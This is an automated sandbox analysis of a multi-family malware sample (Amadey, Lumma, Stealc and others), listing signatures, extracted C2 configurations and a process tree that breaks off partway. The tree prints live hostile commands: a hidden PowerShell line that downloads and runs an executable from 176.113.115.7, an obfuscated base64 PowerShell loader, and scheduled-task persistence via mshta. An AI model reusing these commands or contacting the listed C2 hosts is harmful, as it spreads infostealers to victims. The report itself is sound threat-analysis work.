Overview

overview

10

Static

static

5

2025-03-29...er.exe

windows7-x64

10

2025-03-29...er.exe

windows10-2004-x64

10

Resubmissions

29/03/2025, 12:48

250329-p16hqsttbw 10

29/03/2025, 09:47

250329-lsnfea1ses 10

Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-20250207-en
  • resource tags

    arch:x64arch:x86image:win7-20250207-enlocale:en-usos:windows7-x64system
  • submitted
    29/03/2025, 09:47

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    5ec95a42b16d80c72d17cc6d0bac58de

  • SHA1

    9cfd9221606e1acfef1ea5f6f4bf88080822d5db

  • SHA256

    f3d7546937b4791736e3f2182526a0ac22d47060cce53c4ab8e439b65742127b

  • SHA512

    ca64237e9b54295b3162e26808d6c9acbef0640a996534425e21898b456e5117142bfe4d30473d2573ef42d08f0a85475d1cab63153e7b1b573011f67f735f0b

  • SSDEEP

    24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0Xu:dTvC/MTQYxsWR7a0X

Score
10/10
amadeygcleanerhealerlummastealc092155trumpbootkitdefense_evasiondiscoverydropperevasionexecutionexploitloaderpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://7wxayfarer.live/ALosnz

https://oreheatq.live/gsopp

https://castmaxw.run/ganzde

https://weldorae.digital/geds

https://steelixr.live/aguiz

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://smeltingt.run/giiaus

https://pferromny.digital/gwpd

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 2 IoCs
  • GCleaner

    GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.

    loadergcleaner
  • Gcleaner family
    gcleaner
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 13 IoCs
    defense_evasion
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 24 IoCs
  • Possible privilege escalation attempt 2 IoCs
    exploit
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • Checks BIOS information in registry 2 TTPs 26 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 42 IoCs
  • Identifies Wine through registry keys 2 TTPs 13 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 64 IoCs
  • Modifies file permissions 1 TTPs 2 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 2 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Drops file in Program Files directory 46 IoCs
  • Drops file in Windows directory 15 IoCs
  • Launches sc.exe 38 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies registry class 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 62 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 22 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-29_5ec95a42b16d80c72d17cc6d0bac58de_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1768
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn yDQgJmaxz4C /tr "mshta C:\Users\Admin\AppData\Local\Temp\OJg06BvQe.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1920
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn yDQgJmaxz4C /tr "mshta C:\Users\Admin\AppData\Local\Temp\OJg06BvQe.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2504
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\OJg06BvQe.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'0BR3QHAEAALLHWZSWNOYLAORKSWIW2SF.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2272
        • C:\Users\Admin\AppData\Local\Temp0BR3QHAEAALLHWZSWNOYLAORKSWIW2SF.EXE
          "C:\Users\Admin\AppData\Local\Temp0BR3QHAEAALLHWZSWNOYLAORKSWIW2SF.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Loads dropped DLL
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2444
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Loads dropped DLL
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2920
            • C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe
              "C:\Users\Admin\AppData\Local\Temp\10345240101\EPTwCQd.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1268
              • C:\Windows\system32\WerFault.exe
                C:\Windows\system32\WerFault.exe -u -p 1268 -s 28
                7⤵
                • Loads dropped DLL
                PID:1936
            • C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe
              "C:\Users\Admin\AppData\Local\Temp\10358260101\Rm3cVPI.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:2820
            • C:\Users\Admin\AppData\Local\Temp\10362200101\accde9cdf4.exe
              "C:\Users\Admin\AppData\Local\Temp\10362200101\accde9cdf4.exe"
              6⤵
              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
              • Checks BIOS information in registry
              • Executes dropped EXE
              • Identifies Wine through registry keys
              • Writes to the Master Boot Record (MBR)
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious behavior: EnumeratesProcesses
              PID:828
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10364621121\2GF9eeb.cmd"
              6⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:1096
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10364621121\2GF9eeb.cmd"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2960
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                  8⤵
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2132
            • C:\Users\Admin\AppData\Local\Temp\10366310101\amnew.exe
              "C:\Users\Admin\AppData\Local\Temp\10366310101\amnew.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Drops file in Windows directory
              • System Location Discovery: System Language Discovery
              • Suspicious use of FindShellTrayWindow
              • Suspicious use of WriteProcessMemory
              PID:2252
              • C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
                "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
                7⤵
                • Downloads MZ/PE file
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies system certificate store
                PID:1580
                • C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe
                  "C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2788
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 2788 -s 36
                    9⤵
                    • Loads dropped DLL
                    PID:2424
                • C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
                  "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2084
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 2084 -s 44
                    9⤵
                    • Loads dropped DLL
                    PID:1632
                • C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
                  "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:1672
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 1672 -s 36
                    9⤵
                    • Loads dropped DLL
                    PID:2424
                • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                  "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                  8⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:2904
                  • C:\Users\Admin\AppData\Local\Temp\is-TFKH9.tmp\Bell_Setup16.tmp
                    "C:\Users\Admin\AppData\Local\Temp\is-TFKH9.tmp\Bell_Setup16.tmp" /SL5="$C01BC,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
                    9⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:1264
                    • C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
                      "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                      10⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:448
                      • C:\Users\Admin\AppData\Local\Temp\is-4K0IJ.tmp\Bell_Setup16.tmp
                        "C:\Users\Admin\AppData\Local\Temp\is-4K0IJ.tmp\Bell_Setup16.tmp" /SL5="$D01BC,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
                        11⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of FindShellTrayWindow
                        PID:2520
                        • C:\Windows\SysWOW64\regsvr32.exe
                          "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"
                          12⤵
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:1724
                • C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
                  "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2728
                • C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe
                  "C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"
                  8⤵
                  • Executes dropped EXE
                  PID:2812
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 2812 -s 28
                    9⤵
                    • Loads dropped DLL
                    PID:2084
                • C:\Users\Admin\AppData\Local\Temp\10043810101\3bfa29d281.exe
                  "C:\Users\Admin\AppData\Local\Temp\10043810101\3bfa29d281.exe"
                  8⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3512
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10043810101\3bfa29d281.exe"
                    9⤵
                    • Downloads MZ/PE file
                    • Executes dropped EXE
                    PID:3668
                • C:\Users\Admin\AppData\Local\Temp\10043820101\1c301d6c72.exe
                  "C:\Users\Admin\AppData\Local\Temp\10043820101\1c301d6c72.exe"
                  8⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3828
                  • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
                    "C:\Users\Admin\AppData\Local\Temp\10043820101\1c301d6c72.exe"
                    9⤵
                    • Executes dropped EXE
                    PID:4000
            • C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe
              "C:\Users\Admin\AppData\Local\Temp\10367460101\apple.exe"
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2364
              • C:\Users\Admin\AppData\Local\Temp\22.exe
                "C:\Users\Admin\AppData\Local\Temp\22.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2476
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\69F9.tmp\69FA.tmp\69FB.bat C:\Users\Admin\AppData\Local\Temp\22.exe"
                  8⤵
                    PID:2712
                    • C:\Users\Admin\AppData\Local\Temp\22.exe
                      "C:\Users\Admin\AppData\Local\Temp\22.exe" go
                      9⤵
                      • Executes dropped EXE
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: CmdExeWriteProcessMemorySpam
                      PID:2768
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\6A28.tmp\6A29.tmp\6A2A.bat C:\Users\Admin\AppData\Local\Temp\22.exe go"
                        10⤵
                        • Drops file in Program Files directory
                        PID:2760
                        • C:\Windows\system32\sc.exe
